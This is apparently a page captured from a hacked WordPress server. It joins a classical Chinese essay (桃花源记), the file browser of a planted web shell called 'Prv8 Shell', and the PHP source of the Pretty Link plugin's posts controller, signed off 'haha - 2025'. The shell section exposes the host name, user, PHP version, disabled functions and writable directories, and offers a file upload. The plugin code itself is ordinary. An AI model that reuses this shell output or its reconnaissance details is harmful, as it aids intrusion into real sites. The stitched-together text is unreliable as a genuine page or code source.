晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/plugins/pretty-link/app/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/public_html/wp-content/plugins/pretty-link/app/controllers/PrliPostsController.php
<?php
if(!defined('ABSPATH')) { die('You are not allowed to call this page directly.'); }

class PrliPostsController extends PrliBaseController {
  public $opt_fields;

  public function load_hooks() {
    add_action('init', array($this, 'add_tinymce_buttons'));
    add_action('wp_ajax_prli_tinymce_form', array($this, 'display_tinymce_form'));
    add_action('wp_ajax_prli_tinymce_validate_slug', array($this, 'validate_tinymce_slug'));
    add_action('wp_ajax_prli_create_pretty_link', array($this, 'create_pretty_link'));
    add_action('wp_ajax_prli_search_for_links', array($this, 'search_results'));
  }

  // registers the buttons for use
  public function register_buttons($buttons) {
    array_push($buttons, "prli_tinymce_form");
    return $buttons;
  }

  // add the button to the tinyMCE bar
  public function add_tinymce_plugin($plugin_array) {
    $plugin_array['PrliTinyMCE'] = PRLI_JS_URL.'/tinymce_form.js';
    return $plugin_array;
  }

  // filters the tinyMCE buttons and adds our custom buttons
  public function add_tinymce_buttons() {

    // If this isn't a Pretty Link authorized user then bail
    if(!PrliUtils::is_authorized()) { return; }

    // Add only in Rich Editor mode
    if(get_user_option('rich_editing') == 'true') {
      // filter the tinyMCE buttons and add our own
      add_filter("mce_external_plugins", array($this, "add_tinymce_plugin"));
      add_filter('mce_buttons', array($this, 'register_buttons'));
    }
  }

  //AJAX
  public function display_tinymce_form() {
    global $prli_link, $prli_options, $plp_update;

    //Setup some vars for the view
    $home_url = home_url() . '/';
    $random_slug      = $prli_link->generateValidSlug();
    $default_redirect = $prli_options->link_redirect_type;
    $default_nofollow = ($prli_options->link_nofollow)?'enabled':'disabled';
    $default_sponsored= ($prli_options->link_sponsored)?'enabled':'disabled';
    $default_tracking = ($prli_options->link_track_me)?'enabled':'disabled';

    //Get alternate Base URL
    if($plp_update->is_installed()) {
      global $plp_options;

      if(isset($plp_options) && $plp_options->use_prettylink_url && !empty($plp_options->prettylink_url)) {
        $home_url = stripslashes($plp_options->prettylink_url) . '/';
      }
    }

    wp_register_style('prli-ui-smoothness', PRLI_VENDOR_LIB_URL.'/jquery-ui/jquery-ui.min.css', array(), '1.11.4');
    wp_register_style('prli-tinymce-popup-form', PRLI_CSS_URL . '/tinymce_form_popup.css', array('prli-ui-smoothness'), PRLI_VERSION);

    $css = sprintf('.ui-autocomplete-loading {
      background: white url(%s) right center no-repeat;
    }
    .ui-autocomplete {
      max-height: 200px;
      overflow-y: auto;
      overflow-x: hidden;
      width: 510px !important;
    }', esc_url(admin_url('images/wpspin_light.gif')));

    wp_add_inline_style('prli-tinymce-popup-form', $css);

    wp_register_script(
      'prli-tinymce-popup-form',
      PRLI_JS_URL . '/tinymce_form_popup.js',
      array(
        'jquery',
        'jquery-ui-core',
        'jquery-ui-widget',
        'jquery-ui-position',
        'jquery-ui-menu',
        'jquery-ui-autocomplete',
        'jquery-ui-accordion'
      ),
      PRLI_VERSION,
      true
    );

    wp_localize_script('prli-tinymce-popup-form', 'prliTinymceL10n', array(
      'prli_selected_text' => '',
      'home_url' => $home_url,
      'default_redirect' => $default_redirect,
      'default_nofollow' => $default_nofollow,
      'default_sponsored' => $default_sponsored,
      'default_tracking' => $default_tracking,
      'ajaxurl' => admin_url('admin-ajax.php')
    ));

    require(PRLI_VIEWS_PATH.'/shared/tinymce_form_popup.php');
    die();
  }

  //AJAX
  public function validate_tinymce_slug() {
    if(!isset($_POST['slug']) || empty($_POST['slug'])) {
      echo "false";
      die();
    }

    $slug = sanitize_text_field(stripslashes($_POST['slug']));

    //Can't end in a slash
    if(substr($slug, -1) == '/' || $slug[0] == '/' || preg_match('/\s/', $slug) || is_wp_error(PrliUtils::is_slug_available($slug))) {
      echo "false";
      die();
    }

    echo "true";
    die();
  }

  //AJAX
  public function create_pretty_link() {
    $valid_vars = array('target', 'slug', 'redirect', 'nofollow', 'sponsored', 'tracking');

    if(!PrliUtils::is_authorized()) {
      echo "invalid_user";
      die();
    }

    if(!isset($_POST) || !($valid_vars == array_intersect($valid_vars, array_keys($_POST)))) {
      echo "invalid_inputs";
      die();
    }

    //Using the local API Yo
    $id = prli_create_pretty_link(
            esc_url_raw(trim(stripslashes($_POST['target']))),
            sanitize_text_field(stripslashes($_POST['slug'])),
            '', //Name
            '', //Desc
            0, //Group ID (Deprecated)
            (int)($_POST['tracking'] == 'enabled'),
            (int)($_POST['nofollow'] == 'enabled'),
            (int)($_POST['sponsored'] == 'sponsored'),
            sanitize_key(stripslashes($_POST['redirect']))
          );

    if((int)$id > 0) {
      echo "true";
      die();
    }

    echo "link_failed_to_create";
    die();
  }

  //AJAX
  public function search_results() {
    global $prli_link, $wpdb;

    if(!isset($_GET['term']) || empty($_GET['term'])) { die(''); }

    $return = array();
    $term = '%' . $wpdb->esc_like(sanitize_text_field(stripslashes($_GET['term']))) . '%';
    $q = "SELECT * FROM {$prli_link->table_name} WHERE link_status='enabled' AND (slug LIKE %s OR name LIKE %s OR url LIKE %s) LIMIT 20";
    $q = $wpdb->prepare($q, $term, $term, $term);
    $results = $wpdb->get_results($q, ARRAY_A);

    //Prepare the results for JSON
    if(!empty($results)) {
      foreach($results as $result) {
        $result = stripslashes_deep($result);

        if(extension_loaded('mbstring')) {
          $alt_name = (mb_strlen($result['name']) > 55)?mb_substr($result['name'], 0, 55).'...':$result['name'];
        }
        else {
          $alt_name = (strlen($result['name']) > 55)?substr($result['name'], 0, 55).'...':$result['name'];
        }

        $pretty_link = prli_get_pretty_link_url($result['id']);

        $return[] = array(
          'pretty_url' => (empty($pretty_link) ? home_url() : $pretty_link),
          'value'      => (empty($result['name']))?$result['slug']:$alt_name,
          'slug'       => $result['slug'],
          'target'     => $result['url'],
          'title'      => $result['name'], //Not used currently, but we may want this at some point
          'nofollow'   => (int)$result['nofollow'],
          'sponsored'   => (int)$result['sponsored']
        );
      }

      die(json_encode($return));
    }

    die();
  }
} //End class

haha - 2025